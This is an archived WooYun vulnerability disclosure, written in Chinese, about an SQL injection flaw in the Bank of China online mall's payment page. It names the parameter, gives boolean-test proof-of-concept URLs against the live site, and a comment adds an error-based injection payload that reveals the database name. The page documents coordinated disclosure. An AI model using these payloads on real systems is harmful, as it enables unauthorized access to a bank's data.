当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019925

漏洞标题:中国银行网上消费商城SQL注射漏洞

相关厂商:中国银行

漏洞作者: 核心绿帽子

提交时间:2013-03-12 10:42

修复时间:2013-04-26 10:42

公开时间:2013-04-26 10:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-12: 细节已通知厂商并且等待厂商处理中
2013-03-13: 厂商已经确认,细节仅向厂商公开
2013-03-23: 细节向核心白帽子及相关领域专家公开
2013-04-02: 细节向普通白帽子公开
2013-04-12: 细节向实习白帽子公开
2013-04-26: 细节向公众公开

简要描述:

典型的sql注入~好吧,是报错注入。

详细说明:

之前的only_guest因为中国建设银行的个人商城获得了最佳洞主的称号,好吧,我也是商城!
缺陷文件:Sale/pay-cash1.aspx
缺陷参数:sosysno
添加商品至购物车,提交订单至支付页面前。

漏洞证明:

以中国银行为例:
http://www.fqmall.cn/Sale/pay-cash1.aspx?sosysno=130311040109480' and '1'='1
http://www.fqmall.cn/Sale/pay-cash1.aspx?sosysno=130311040109480' and '1'='2

za.png


zb.png


当然还可以这样注:

zc.png


修复方案:

版权声明:转载请注明来源 核心绿帽子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-03-13 09:19

厂商回复:

CNVD确认部分情况,暂未能进一步注入,该案例与http://www.wooyun.org/bugs/wooyun-2013-019952中案例部分重合,一并处置。
rank 6

最新状态:

暂无


漏洞评价:

评论

  1. 2013-03-12 18:31 | cncert国家互联网应急中心(乌云厂商)

    好象只存在注入点,不能注到数据,求注入绕过方法

  2. 2013-03-12 19:01 | 核心绿帽子 ( 路人 | Rank:18 漏洞数:5 | wooyun)

    @cncert国家互联网应急中心 ' and (cast((db_name()) as varchar(100)))=0--在将 varchar 值 'xxxx' 转换成数据类型 int 时失败。

  3. 2013-03-13 11:09 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @核心绿帽子 洞主好开放

  4. 2013-03-13 11:30 | 马燕羊蝎子 ( 实习白帽子 | Rank:83 漏洞数:10 | 亲,啥时候请吃马燕羊蝎子。)

    洞主是不是在写 《绿帽子讲家庭安全》? 目测肯定大卖。

  5. 2013-04-26 11:09 | x1aoh4i ( 普通白帽子 | Rank:403 漏洞数:62 )

    @马燕羊蝎子 珍贵的绿帽子